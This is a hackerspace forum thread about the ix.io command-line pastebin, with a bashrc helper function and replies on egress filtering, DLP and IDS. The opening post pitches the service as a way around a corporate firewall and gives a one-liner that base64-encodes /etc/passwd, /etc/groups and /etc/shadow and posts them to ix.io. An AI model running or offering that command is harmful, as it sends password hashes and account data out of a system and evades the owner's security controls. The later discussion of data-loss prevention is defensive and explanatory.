Command Line pastebin

Hackerspace Information Security
#1

Ever need to dump something to the web quickly but that evil corp’s firewall is in the way?

We’ll ix.io is here to help.

It’s just as simple as:

cat /etc/passwd /etc/groups /etc/shadow | base64 | curl -F 'f:1=<-' https://ix.io

Helper script

Paste the following function into ~/.bashrc:

        ix() {
            local opts
            local OPTIND
            [ -f "$HOME/.netrc" ] && opts='-n'
            while getopts ":hd:i:n:" x; do
                case $x in
                    h) echo "ix [-d ID] [-i ID] [-n N] [opts]"; return;;
                    d) $echo curl $opts -X DELETE ix.io/$OPTARG; return;;
                    i) opts="$opts -X PUT"; local id="$OPTARG";;
                    n) opts="$opts -F read:1=$OPTARG";;
                esac
            done
            shift $(($OPTIND - 1))
            [ -t 0 ] && {
                local filename="$1"; shift
                [ "$filename" ] && {
                    curl $opts -F f:1=@"$filename" $* ix.io/$id
                    return
                }
                echo "^C to cancel, ^D to send."
            }
            curl $opts -F f:1='<-' $* ix.io/$id
        }

Then open a new shell and type ix -h

3 Likes
#2

If that evil corp’s firewall is in the way, then using curl to post data to a web address is going to fail too.

#3

Depends on the firewall and mainly the infosec team. But most just use a transparent proxy for outbound 80/tcp and 443/tls which just blocks based on sites one is visiting via some combo of greylists, whitelists, blacklists, and iblocklist.

ix.io is one of a few that’s not on that block list because googlebot does not know what to do with it.

55 AM
Screen Shot 2018-10-12 at 11.03.55 AM.png691×101 9.79 KB

Which by the way since the source exists as serverless function script. One can deploy a new site in seconds under as many domains and ips they like.

1 Like
#4

with the exception of whitelisting known traffic, egress control is basically a losing game. Some corps actually have a good handle on knowing what their traffic looks like, and can pull off said whitelisting. However it’s far from the norm.

1 Like
#5

Isn’t the average to filter more on keywords out of preventing leaks to social network sites or other “office productivity” based policies?

#6

no, the filters a service like these alternatives to pastebin operates for are different than productivity filters. Productivity filters are somewhat going out as most users use social media from their phones anyway, and they cause a lot of operation problems for the benefits achieved.

The systems that inspect traffic for security purposes operate under a category of tools known as Data Loss Prevention (DLP) as well as various forms of IDS systems meant to detect malicious traffic. The goal is to prevent the exfiltration, both intentional and unintentional, of protected data.

3 Likes